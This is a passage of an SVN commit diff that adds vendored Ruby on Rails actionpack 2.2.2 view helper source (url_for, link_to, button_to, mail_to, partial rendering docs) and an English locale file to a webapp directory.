+    # This allows you to use the same format for links in views
+    # and controllers.
+    module UrlHelper
+      include JavaScriptHelper
+
+      # Returns the URL for the set of +options+ provided. This takes the
+      # same options as +url_for+ in Action Controller (see the
+      # documentation for ActionController::Base#url_for). Note that by default
+      # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative /controller/action
+      # instead of the fully qualified URL like http://example.com/controller/action.
+      #
+      # When called from a view, url_for returns an HTML escaped url. If you
+      # need an unescaped url, pass <tt>:escape => false</tt> in the +options+.
+      #
+      # ==== Options
+      # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
+      # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
+      # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
+      #   is currently not recommended since it breaks caching.
+      # * <tt>:host</tt> - Overrides the default (current) host if provided.
+      # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
+      # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
+      # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
+      # * <tt>:escape</tt> - Determines whether the returned URL will be HTML escaped or not (<tt>true</tt> by default).
+      #
+      # ==== Relying on named routes
+      #
+      # If you instead of a hash pass a record (like an Active Record or Active Resource) as the options parameter,
+      # you'll trigger the named route for that record. The lookup will happen on the name of the class. So passing
+      # a Workshop object will attempt to use the workshop_path route. If you have a nested route, such as
+      # admin_workshop_path you'll have to call that explicitly (it's impossible for url_for to guess that route).
+      #
+      # ==== Examples
+      #   <%= url_for(:action => 'index') %>
+      #   # => /blog/
+      #
+      #   <%= url_for(:action => 'find', :controller => 'books') %>
+      #   # => /books/find
+      #
+      #   <%= url_for(:action => 'login', :controller => 'members', :only_path => false, :protocol => 'https') %>
+      #   # => https://www.railsapplication.com/members/login/
+      #
+      #   <%= url_for(:action => 'play', :anchor => 'player') %>
+      #   # => /messages/play/#player
+      #
+      #   <%= url_for(:action => 'checkout', :anchor => 'tax&ship') %>
+      #   # => /testing/jump/#tax&amp;ship
+      #
+      #   <%= url_for(:action => 'checkout', :anchor => 'tax&ship', :escape => false) %>
+      #   # => /testing/jump/#tax&ship
+      #
+      #   <%= url_for(Workshop.new) %>
+      #   # relies on Workshop answering a new_record? call (and in this case returning true)
+      #   # => /workshops
+      #
+      #   <%= url_for(@workshop) %>
+      #   # calls @workshop.to_s
+      #   # => /workshops/5
+      #
+      #   <%= url_for("http://www.example.com") %>
+      #   # => http://www.example.com
+      #
+      #   <%= url_for(:back) %>
+      #   # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
+      #   # => http://www.example.com
+      #
+      #   <%= url_for(:back) %>
+      #   # if request.env["HTTP_REFERER"] is not set or is blank
+      #   # => javascript:history.back()
+      def url_for(options = {})
+        options ||= {}
+        url = case options
+        when String
+          escape = true
+          options
+        when Hash
+          options = { :only_path => options[:host].nil? }.update(options.symbolize_keys)
+          escape  = options.key?(:escape) ? options.delete(:escape) : true
+          @controller.send(:url_for, options)
+        when :back
+          escape = false
+          @controller.request.env["HTTP_REFERER"] || 'javascript:history.back()'
+        else
+          escape = false
+          polymorphic_path(options)
+        end
+
+        escape ? escape_once(url) : url
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set
+      # of +options+. See the valid options in the documentation for
+      # url_for. It's also possible to pass a string instead
+      # of an options hash to get a link tag that uses the value of the string as the
+      # href for the link, or use <tt>:back</tt> to link to the referrer - a JavaScript back
+      # link will be used in place of a referrer if none exists. If nil is passed as
+      # a name, the link itself will become the name.
+      #
+      # ==== Signatures
+      #
+      #   link_to(name, options = {}, html_options = nil)
+      #   link_to(options = {}, html_options = nil) do
+      #     # name
+      #   end
+      #
+      # ==== Options
+      # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
+      #   prompt with the question specified. If the user accepts, the link is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:popup => true || array of window options</tt> - This will force the
+      #   link to open in a popup window. By passing true, a default browser window
+      #   will be opened with the URL. You can also specify an array of options
+      #   that are passed-thru to JavaScripts window.open method.
+      # * <tt>:method => symbol of HTTP verb</tt> - This modifier will dynamically
+      #   create an HTML form and immediately submit the form for processing using
+      #   the HTTP verb specified. Useful for having links perform a POST operation
+      #   in dangerous actions like deleting a record (which search bots can follow
+      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt> and <tt>:put</tt>.
+      #   Note that if the user has JavaScript disabled, the request will fall back
+      #   to using GET. If you are relying on the POST behavior, you should check
+      #   for it in your controller's action by using the request object's methods
+      #   for <tt>post?</tt>, <tt>delete?</tt> or <tt>put?</tt>.
+      # * The +html_options+ will accept a hash of html attributes for the link tag.
+      #
+      # Note that if the user has JavaScript disabled, the request will fall back
+      # to using GET. If <tt>:href => '#'</tt> is used and the user has JavaScript disabled
+      # clicking the link will have no effect. If you are relying on the POST
+      # behavior, your should check for it in your controller's action by using the
+      # request object's methods for <tt>post?</tt>, <tt>delete?</tt> or <tt>put?</tt>.
+      #
+      # You can mix and match the +html_options+ with the exception of
+      # <tt>:popup</tt> and <tt>:method</tt> which will raise an ActionView::ActionViewError
+      # exception.
+      #
+      # ==== Examples
+      # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
+      # and newer RESTful routes.  Current Rails style favors RESTful routes whenever possible, so base
+      # your application on resources and use
+      #
+      #   link_to "Profile", profile_path(@profile)
+      #   # => <a href="/profiles/1">Profile</a>
+      #
+      # or the even pithier
+      #
+      #   link_to "Profile", @profile
+      #   # => <a href="/profiles/1">Profile</a>
+      #
+      # in place of the older more verbose, non-resource-oriented
+      #
+      #   link_to "Profile", :controller => "profiles", :action => "show", :id => @profile
+      #   # => <a href="/profiles/show/1">Profile</a>
+      #
+      # Similarly,
+      #
+      #   link_to "Profiles", profiles_path
+      #   # => <a href="/profiles">Profiles</a>
+      #
+      # is better than
+      #
+      #   link_to "Profiles", :controller => "profiles"
+      #   # => <a href="/profiles">Profiles</a>
+      #
+      # You can use a block as well if your link target is hard to fit into the name parameter. ERb example:
+      #
+      #   <% link_to(@profile) do %>
+      #     <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
+      #   <% end %>
+      #   # => <a href="/profiles/1"><strong>David</strong> -- <span>Check it out!!</span></a>
+      #
+      # Classes and ids for CSS are easy to produce:
+      #
+      #   link_to "Articles", articles_path, :id => "news", :class => "article"
+      #   # => <a href="/articles" class="article" id="news">Articles</a>
+      #
+      # Be careful when using the older argument style, as an extra literal hash is needed:
+      #
+      #   link_to "Articles", { :controller => "articles" }, :id => "news", :class => "article"
+      #   # => <a href="/articles" class="article" id="news">Articles</a>
+      #
+      # Leaving the hash off gives the wrong link:
+      #
+      #   link_to "WRONG!", :controller => "articles", :id => "news", :class => "article"
+      #   # => <a href="/articles/index/news?class=article">WRONG!</a>
+      #
+      # +link_to+ can also produce links with anchors or query strings:
+      #
+      #   link_to "Comment wall", profile_path(@profile, :anchor => "wall")
+      #   # => <a href="/profiles/1#wall">Comment wall</a>
+      #
+      #   link_to "Ruby on Rails search", :controller => "searches", :query => "ruby on rails"
+      #   # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+      #
+      #   link_to "Nonsense search", searches_path(:foo => "bar", :baz => "quux")
+      #   # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
+      #
+      # The three options specific to +link_to+ (<tt>:confirm</tt>, <tt>:popup</tt>, and <tt>:method</tt>) are used as follows:
+      #
+      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", :confirm => "Are you sure?"
+      #   # => <a href="http://www.rubyonrails.org/" onclick="return confirm('Are you sure?');">Visit Other Site</a>
+      #
+      #   link_to "Help", { :action => "help" }, :popup => true
+      #   # => <a href="/testing/help/" onclick="window.open(this.href);return false;">Help</a>
+      #
+      #   link_to "View Image", @image, :popup => ['new_window_name', 'height=300,width=600']
+      #   # => <a href="/images/9" onclick="window.open(this.href,'new_window_name','height=300,width=600');return false;">View Image</a>
+      #
+      #   link_to "Delete Image", @image, :confirm => "Are you sure?", :method => :delete
+      #   # => <a href="/images/9" onclick="if (confirm('Are you sure?')) { var f = document.createElement('form');
+      #        f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = this.href;
+      #        var m = document.createElement('input'); m.setAttribute('type', 'hidden'); m.setAttribute('name', '_method');
+      #        m.setAttribute('value', 'delete'); f.appendChild(m);f.submit(); };return false;">Delete Image</a>
+      def link_to(*args, &block)
+        if block_given?
+          options      = args.first || {}
+          html_options = args.second
+          concat(link_to(capture(&block), options, html_options))
+        else
+          name         = args.first
+          options      = args.second || {}
+          html_options = args.third
+
+          url = url_for(options)
+
+          if html_options
+            html_options = html_options.stringify_keys
+            href = html_options['href']
+            convert_options_to_javascript!(html_options, url)
+            tag_options = tag_options(html_options)
+          else
+            tag_options = nil
+          end
+
+          href_attr = "href=\"#{url}\"" unless href
+          "<a #{href_attr}#{tag_options}>#{name || url}</a>"
+        end
+      end
+
+      # Generates a form containing a single button that submits to the URL created
+      # by the set of +options+. This is the safest method to ensure links that
+      # cause changes to your data are not triggered by search bots or accelerators.
+      # If the HTML button does not work with your layout, you can also consider
+      # using the link_to method with the <tt>:method</tt> modifier as described in
+      # the link_to documentation.
+      #
+      # The generated FORM element has a class name of <tt>button-to</tt>
+      # to allow styling of the form itself and its children. You can control
+      # the form submission and input element behavior using +html_options+.
+      # This method accepts the <tt>:method</tt> and <tt>:confirm</tt> modifiers
+      # described in the link_to documentation. If no <tt>:method</tt> modifier
+      # is given, it will default to performing a POST operation. You can also
+      # disable the button by passing <tt>:disabled => true</tt> in +html_options+.
+      # If you are using RESTful routes, you can pass the <tt>:method</tt>
+      # to change the HTTP verb used to submit the form.
+      #
+      # ==== Options
+      # The +options+ hash accepts the same options at url_for.
+      #
+      # There are a few special +html_options+:
+      # * <tt>:method</tt> - Specifies the anchor name to be appended to the path.
+      # * <tt>:disabled</tt> - Specifies the anchor name to be appended to the path.
+      # * <tt>:confirm</tt> - This will add a JavaScript confirm
+      #   prompt with the question specified. If the user accepts, the link is
+      #   processed normally, otherwise no action is taken.
+      #
+      # ==== Examples
+      #   <%= button_to "New", :action => "new" %>
+      #   # => "<form method="post" action="/controller/new" class="button-to">
+      #   #      <div><input value="New" type="submit" /></div>
+      #   #    </form>"
+      #
+      #   button_to "Delete Image", { :action => "delete", :id => @image.id },
+      #             :confirm => "Are you sure?", :method => :delete
+      #   # => "<form method="post" action="/images/delete/1" class="button-to">
+      #   #      <div>
+      #   #        <input type="hidden" name="_method" value="delete" />
+      #   #        <input onclick="return confirm('Are you sure?');"
+      #   #              value="Delete" type="submit" />
+      #   #      </div>
+      #   #    </form>"
+      def button_to(name, options = {}, html_options = {})
+        html_options = html_options.stringify_keys
+        convert_boolean_attributes!(html_options, %w( disabled ))
+
+        method_tag = ''
+        if (method = html_options.delete('method')) && %w{put delete}.include?(method.to_s)
+          method_tag = tag('input', :type => 'hidden', :name => '_method', :value => method.to_s)
+        end
+
+        form_method = method.to_s == 'get' ? 'get' : 'post'
+
+        request_token_tag = ''
+        if form_method == 'post' && protect_against_forgery?
+          request_token_tag = tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
+        end
+
+        if confirm = html_options.delete("confirm")
+          html_options["onclick"] = "return #{confirm_javascript_function(confirm)};"
+        end
+
+        url = options.is_a?(String) ? options : self.url_for(options)
+        name ||= url
+
+        html_options.merge!("type" => "submit", "value" => name)
+
+        "<form method=\"#{form_method}\" action=\"#{escape_once url}\" class=\"button-to\"><div>" +
+          method_tag + tag("input", html_options) + request_token_tag + "</div></form>"
+      end
+
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ unless the current request URI is the same as the links, in
+      # which case only the name is returned (or the given block is yielded, if
+      # one exists).  You can give link_to_unless_current a block which will
+      # specialize the default behavior (e.g., show a "Start Here" link rather
+      # than the link's text).
+      #
+      # ==== Examples
+      # Let's say you have a navigation menu...
+      #
+      #   <ul id="navbar">
+      #     <li><%= link_to_unless_current("Home", { :action => "index" }) %></li>
+      #     <li><%= link_to_unless_current("About Us", { :action => "about" }) %></li>
+      #   </ul>
+      #
+      # If in the "about" action, it will render...
+      #
+      #   <ul id="navbar">
+      #     <li><a href="/controller/index">Home</a></li>
+      #     <li>About Us</li>
+      #   </ul>
+      #
+      # ...but if in the "index" action, it will render:
+      #
+      #   <ul id="navbar">
+      #     <li>Home</li>
+      #     <li><a href="/controller/about">About Us</a></li>
+      #   </ul>
+      #
+      # The implicit block given to link_to_unless_current is evaluated if the current
+      # action is the action given.  So, if we had a comments page and wanted to render a
+      # "Go Back" link instead of a link to the comments page, we could do something like this...
+      #
+      #    <%=
+      #        link_to_unless_current("Comment", { :controller => 'comments', :action => 'new}) do
+      #           link_to("Go back", { :controller => 'posts', :action => 'index' })
+      #        end
+      #     %>
+      def link_to_unless_current(name, options = {}, html_options = {}, &block)
+        link_to_unless current_page?(options), name, options, html_options, &block
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ unless +condition+ is true, in which case only the name is
+      # returned. To specialize the default behavior (i.e., show a login link rather
+      # than just the plaintext link text), you can pass a block that
+      # accepts the name or the full argument list for link_to_unless.
+      #
+      # ==== Examples
+      #   <%= link_to_unless(@current_user.nil?, "Reply", { :action => "reply" }) %>
+      #   # If the user is logged in...
+      #   # => <a href="/controller/reply/">Reply</a>
+      #
+      #   <%=
+      #      link_to_unless(@current_user.nil?, "Reply", { :action => "reply" }) do |name|
+      #        link_to(name, { :controller => "accounts", :action => "signup" })
+      #      end
+      #   %>
+      #   # If the user is logged in...
+      #   # => <a href="/controller/reply/">Reply</a>
+      #   # If not...
+      #   # => <a href="/accounts/signup">Reply</a>
+      def link_to_unless(condition, name, options = {}, html_options = {}, &block)
+        if condition
+          if block_given?
+            block.arity <= 1 ? yield(name) : yield(name, options, html_options)
+          else
+            name
+          end
+        else
+          link_to(name, options, html_options)
+        end
+      end
+
+      # Creates a link tag of the given +name+ using a URL created by the set of
+      # +options+ if +condition+ is true, in which case only the name is
+      # returned. To specialize the default behavior, you can pass a block that
+      # accepts the name or the full argument list for link_to_unless (see the examples
+      # in link_to_unless).
+      #
+      # ==== Examples
+      #   <%= link_to_if(@current_user.nil?, "Login", { :controller => "sessions", :action => "new" }) %>
+      #   # If the user isn't logged in...
+      #   # => <a href="/sessions/new/">Login</a>
+      #
+      #   <%=
+      #      link_to_if(@current_user.nil?, "Login", { :controller => "sessions", :action => "new" }) do
+      #        link_to(@current_user.login, { :controller => "accounts", :action => "show", :id => @current_user })
+      #      end
+      #   %>
+      #   # If the user isn't logged in...
+      #   # => <a href="/sessions/new/">Login</a>
+      #   # If they are logged in...
+      #   # => <a href="/accounts/show/3">my_username</a>
+      def link_to_if(condition, name, options = {}, html_options = {}, &block)
+        link_to_unless !condition, name, options, html_options, &block
+      end
+
+      # Creates a mailto link tag to the specified +email_address+, which is
+      # also used as the name of the link unless +name+ is specified. Additional
+      # HTML attributes for the link can be passed in +html_options+.
+      #
+      # mail_to has several methods for hindering email harvesters and customizing
+      # the email itself by passing special keys to +html_options+.
+      #
+      # ==== Options
+      # * <tt>:encode</tt>  - This key will accept the strings "javascript" or "hex".
+      #   Passing "javascript" will dynamically create and encode the mailto: link then
+      #   eval it into the DOM of the page. This method will not show the link on
+      #   the page if the user has JavaScript disabled. Passing "hex" will hex
+      #   encode the +email_address+ before outputting the mailto: link.
+      # * <tt>:replace_at</tt>  - When the link +name+ isn't provided, the
+      #   +email_address+ is used for the link label. You can use this option to
+      #   obfuscate the +email_address+ by substituting the @ sign with the string
+      #   given as the value.
+      # * <tt>:replace_dot</tt>  - When the link +name+ isn't provided, the
+      #   +email_address+ is used for the link label. You can use this option to
+      #   obfuscate the +email_address+ by substituting the . in the email with the
+      #   string given as the value.
+      # * <tt>:subject</tt>  - Preset the subject line of the email.
+      # * <tt>:body</tt> - Preset the body of the email.
+      # * <tt>:cc</tt>  - Carbon Copy addition recipients on the email.
+      # * <tt>:bcc</tt>  - Blind Carbon Copy additional recipients on the email.
+      #
+      # ==== Examples
+      #   mail_to "me at domain.com"
+      #   # => <a href="mailto:me at domain.com">me at domain.com</a>
+      #
+      #   mail_to "me at domain.com", "My email", :encode => "javascript"
+      #   # => <script type="text/javascript">eval(decodeURIComponent('%64%6f%63...%27%29%3b'))</script>
+      #
+      #   mail_to "me at domain.com", "My email", :encode => "hex"
+      #   # => <a href="mailto:%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">My email</a>
+      #
+      #   mail_to "me at domain.com", nil, :replace_at => "_at_", :replace_dot => "_dot_", :class => "email"
+      #   # => <a href="mailto:me at domain.com" class="email">me_at_domain_dot_com</a>
+      #
+      #   mail_to "me at domain.com", "My email", :cc => "ccaddress at domain.com",
+      #            :subject => "This is an example email"
+      #   # => <a href="mailto:me at domain.com?cc=ccaddress at domain.com&subject=This%20is%20an%20example%20email">My email</a>
+      def mail_to(email_address, name = nil, html_options = {})
+        html_options = html_options.stringify_keys
+        encode = html_options.delete("encode").to_s
+        cc, bcc, subject, body = html_options.delete("cc"), html_options.delete("bcc"), html_options.delete("subject"), html_options.delete("body")
+
+        string = ''
+        extras = ''
+        extras << "cc=#{CGI.escape(cc).gsub("+", "%20")}&" unless cc.nil?
+        extras << "bcc=#{CGI.escape(bcc).gsub("+", "%20")}&" unless bcc.nil?
+        extras << "body=#{CGI.escape(body).gsub("+", "%20")}&" unless body.nil?
+        extras << "subject=#{CGI.escape(subject).gsub("+", "%20")}&" unless subject.nil?
+        extras = "?" << extras.gsub!(/&?$/,"") unless extras.empty?
+
+        email_address = email_address.to_s
+
+        email_address_obfuscated = email_address.dup
+        email_address_obfuscated.gsub!(/@/, html_options.delete("replace_at")) if html_options.has_key?("replace_at")
+        email_address_obfuscated.gsub!(/\./, html_options.delete("replace_dot")) if html_options.has_key?("replace_dot")
+
+        if encode == "javascript"
+          "document.write('#{content_tag("a", name || email_address_obfuscated, html_options.merge({ "href" => "mailto:"+email_address+extras }))}');".each_byte do |c|
+            string << sprintf("%%%x", c)
+          end
+          "<script type=\"#{Mime::JS}\">eval(decodeURIComponent('#{string}'))</script>"
+        elsif encode == "hex"
+          email_address_encoded = ''
+          email_address_obfuscated.each_byte do |c|
+            email_address_encoded << sprintf("&#%d;", c)
+          end
+
+          protocol = 'mailto:'
+          protocol.each_byte { |c| string << sprintf("&#%d;", c) }
+
+          email_address.each_byte do |c|
+            char = c.chr
+            string << (char =~ /\w/ ? sprintf("%%%x", c) : char)
+          end
+          content_tag "a", name || email_address_encoded, html_options.merge({ "href" => "#{string}#{extras}" })
+        else
+          content_tag "a", name || email_address_obfuscated, html_options.merge({ "href" => "mailto:#{email_address}#{extras}" })
+        end
+      end
+
+      # True if the current request URI was generated by the given +options+.
+      #
+      # ==== Examples
+      # Let's say we're in the <tt>/shop/checkout?order=desc</tt> action.
+      #
+      #   current_page?(:action => 'process')
+      #   # => false
+      #
+      #   current_page?(:controller => 'shop', :action => 'checkout')
+      #   # => true
+      #
+      #   current_page?(:controller => 'shop', :action => 'checkout', :order => 'asc)
+      #   # => false
+      #
+      #   current_page?(:action => 'checkout')
+      #   # => true
+      #
+      #   current_page?(:controller => 'library', :action => 'checkout')
+      #   # => false
+      def current_page?(options)
+        url_string = CGI.escapeHTML(url_for(options))
+        request = @controller.request
+        # We ignore any extra parameters in the request_uri if the 
+        # submitted url doesn't have any either.  This lets the function
+        # work with things like ?order=asc 
+        if url_string.index("?")
+          request_uri = request.request_uri
+        else
+          request_uri = request.request_uri.split('?').first
+        end
+        if url_string =~ /^\w+:\/\//
+          url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
+        else
+          url_string == request_uri
+        end
+      end
+
+      private
+        def convert_options_to_javascript!(html_options, url = '')
+          confirm, popup = html_options.delete("confirm"), html_options.delete("popup")
+
+          method, href = html_options.delete("method"), html_options['href']
+
+          html_options["onclick"] = case
+            when popup && method
+              raise ActionView::ActionViewError, "You can't use :popup and :method in the same link"
+            when confirm && popup
+              "if (#{confirm_javascript_function(confirm)}) { #{popup_javascript_function(popup)} };return false;"
+            when confirm && method
+              "if (#{confirm_javascript_function(confirm)}) { #{method_javascript_function(method)} };return false;"
+            when confirm
+              "return #{confirm_javascript_function(confirm)};"
+            when method
+              "#{method_javascript_function(method, url, href)}return false;"
+            when popup
+              "#{popup_javascript_function(popup)}return false;"
+            else
+              html_options["onclick"]
+          end
+        end
+
+        def confirm_javascript_function(confirm)
+          "confirm('#{escape_javascript(confirm)}')"
+        end
+
+        def popup_javascript_function(popup)
+          popup.is_a?(Array) ? "window.open(this.href,'#{popup.first}','#{popup.last}');" : "window.open(this.href);"
+        end
+
+        def method_javascript_function(method, url = '', href = nil)
+          action = (href && url.size > 0) ? "'#{url}'" : 'this.href'
+          submit_function =
+            "var f = document.createElement('form'); f.style.display = 'none'; " +
+            "this.parentNode.appendChild(f); f.method = 'POST'; f.action = #{action};"
+
+          unless method == :post
+            submit_function << "var m = document.createElement('input'); m.setAttribute('type', 'hidden'); "
+            submit_function << "m.setAttribute('name', '_method'); m.setAttribute('value', '#{method}'); f.appendChild(m);"
+          end
+
+          if protect_against_forgery?
+            submit_function << "var s = document.createElement('input'); s.setAttribute('type', 'hidden'); "
+            submit_function << "s.setAttribute('name', '#{request_forgery_protection_token}'); s.setAttribute('value', '#{escape_javascript form_authenticity_token}'); f.appendChild(s);"
+          end
+          submit_function << "f.submit();"
+        end
+
+        # Processes the _html_options_ hash, converting the boolean
+        # attributes from true/false form into the form required by
+        # HTML/XHTML.  (An attribute is considered to be boolean if
+        # its name is listed in the given _bool_attrs_ array.)
+        #
+        # More specifically, for each boolean attribute in _html_options_
+        # given as:
+        #
+        #     "attr" => bool_value
+        #
+        # if the associated _bool_value_ evaluates to true, it is
+        # replaced with the attribute's name; otherwise the attribute is
+        # removed from the _html_options_ hash.  (See the XHTML 1.0 spec,
+        # section 4.5 "Attribute Minimization" for more:
+        # http://www.w3.org/TR/xhtml1/#h-4.5)
+        #
+        # Returns the updated _html_options_ hash, which is also modified
+        # in place.
+        #
+        # Example:
+        #
+        #   convert_boolean_attributes!( html_options,
+        #                                %w( checked disabled readonly ) )
+        def convert_boolean_attributes!(html_options, bool_attrs)
+          bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
+          html_options
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+Dir.entries(File.expand_path("#{File.dirname(__FILE__)}/helpers")).sort.each do |file|
+  next unless file =~ /^([a-z][a-z_]*_helper).rb$/
+  require "action_view/helpers/#{$1}"
+end
+
+module ActionView #:nodoc:
+  module Helpers #:nodoc:
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    module ClassMethods
+      include SanitizeHelper::ClassMethods
+    end
+
+    include ActiveRecordHelper
+    include AssetTagHelper
+    include AtomFeedHelper
+    include BenchmarkHelper
+    include CacheHelper
+    include CaptureHelper
+    include DateHelper
+    include DebugHelper
+    include FormHelper
+    include FormOptionsHelper
+    include FormTagHelper
+    include NumberHelper
+    include PrototypeHelper
+    include RecordIdentificationHelper
+    include RecordTagHelper
+    include SanitizeHelper
+    include ScriptaculousHelper
+    include TagHelper
+    include TextHelper
+    include TranslationHelper
+    include UrlHelper
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/inline_template.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/inline_template.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/inline_template.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+module ActionView #:nodoc:
+  class InlineTemplate #:nodoc:
+    include Renderable
+
+    attr_reader :source, :extension, :method_segment
+
+    def initialize(source, type = nil)
+      @source = source
+      @extension = type
+      @method_segment = "inline_#{@source.hash.abs}"
+    end
+
+    private
+      # Always recompile inline templates
+      def recompile?(local_assigns)
+        true
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/locale/en.yml
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/locale/en.yml	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/locale/en.yml	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,91 @@
+"en":
+  number:
+    # Used in number_with_delimiter()
+    # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+    format:
+      # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+      separator: "."
+      # Delimets thousands (e.g. 1,000,000 is a million) (always in groups of three)
+      delimiter: ","
+      # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+      precision: 3
+      
+    # Used in number_to_currency()
+    currency:
+      format:
+        # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
+        format: "%u%n"
+        unit: "$"
+        # These three are to override number.format and are optional
+        separator: "."
+        delimiter: ","
+        precision: 2
+        
+    # Used in number_to_percentage()
+    percentage:
+      format:
+        # These three are to override number.format and are optional
+        # separator: 
+        delimiter: ""
+        # precision: 
+        
+    # Used in number_to_precision()
+    precision:
+      format:
+        # These three are to override number.format and are optional
+        # separator:
+        delimiter: ""
+        # precision:
+        
+    # Used in number_to_human_size()
+    human:
+      format:
+        # These three are to override number.format and are optional
+        # separator: 
+        delimiter: ""
+        precision: 1
+
+  # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words()
+  datetime:
+    distance_in_words:
+      half_a_minute: "half a minute"
+      less_than_x_seconds:
+        one:   "less than 1 second"
+        other: "less than {{count}} seconds"
+      x_seconds:
+        one:   "1 second"
+        other: "{{count}} seconds"
+      less_than_x_minutes:
+        one:   "less than a minute"
+        other: "less than {{count}} minutes"
+      x_minutes:
+        one:   "1 minute"
+        other: "{{count}} minutes"
+      about_x_hours:
+        one:   "about 1 hour"
+        other: "about {{count}} hours"
+      x_days:
+        one:   "1 day"
+        other: "{{count}} days"
+      about_x_months:
+        one:   "about 1 month"
+        other: "about {{count}} months"
+      x_months:
+        one:   "1 month"
+        other: "{{count}} months"
+      about_x_years:
+        one:   "about 1 year"
+        other: "about {{count}} years"
+      over_x_years:
+        one:   "over 1 year"
+        other: "over {{count}} years"
+
+  activerecord:
+    errors:
+      template:
+        header:
+          one:    "1 error prohibited this {{model}} from being saved"
+          other:  "{{count}} errors prohibited this {{model}} from being saved"
+        # The variable :count is also available
+        body: "There were problems with the following fields:"
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/partials.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/partials.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/partials.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,203 @@
+module ActionView
+  # There's also a convenience method for rendering sub templates within the current controller that depends on a
+  # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
+  # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
+  # templates that could be rendered on their own.
+  #
+  # In a template for Advertiser#account:
+  #
+  #  <%= render :partial => "account" %>
+  #
+  # This would render "advertiser/_account.erb" and pass the instance variable @account in as a local variable
+  # +account+ to the template for display.
+  #
+  # In another template for Advertiser#buy, we could have:
+  #
+  #   <%= render :partial => "account", :locals => { :account => @buyer } %>
+  #
+  #   <% for ad in @advertisements %>
+  #     <%= render :partial => "ad", :locals => { :ad => ad } %>
+  #   <% end %>
+  #
+  # This would first render "advertiser/_account.erb" with @buyer passed in as the local variable +account+, then
+  # render "advertiser/_ad.erb" and pass the local variable +ad+ to the template for display.
+  #
+  # == Rendering a collection of partials
+  #
+  # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
+  # render a sub template for each of the elements. This pattern has been implemented as a single method that
+  # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
+  # example in "Using partials" can be rewritten with a single line:
+  #
+  #   <%= render :partial => "ad", :collection => @advertisements %>
+  #
+  # This will render "advertiser/_ad.erb" and pass the local variable +ad+ to the template for display. An
+  # iteration counter will automatically be made available to the template with a name of the form
+  # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
+  #
+  # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
+  # just keep domain objects, like Active Records, in there.
+  #
+  # == Rendering shared partials
+  #
+  # Two controllers can share a set of partials and render them like this:
+  #
+  #   <%= render :partial => "advertisement/ad", :locals => { :ad => @advertisement } %>
+  #
+  # This will render the partial "advertisement/_ad.erb" regardless of which controller this is being called from.
+  #
+  # == Rendering partials with layouts
+  #
+  # Partials can have their own layouts applied to them. These layouts are different than the ones that are
+  # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
+  # of users:
+  #
+  #   <%# app/views/users/index.html.erb &>
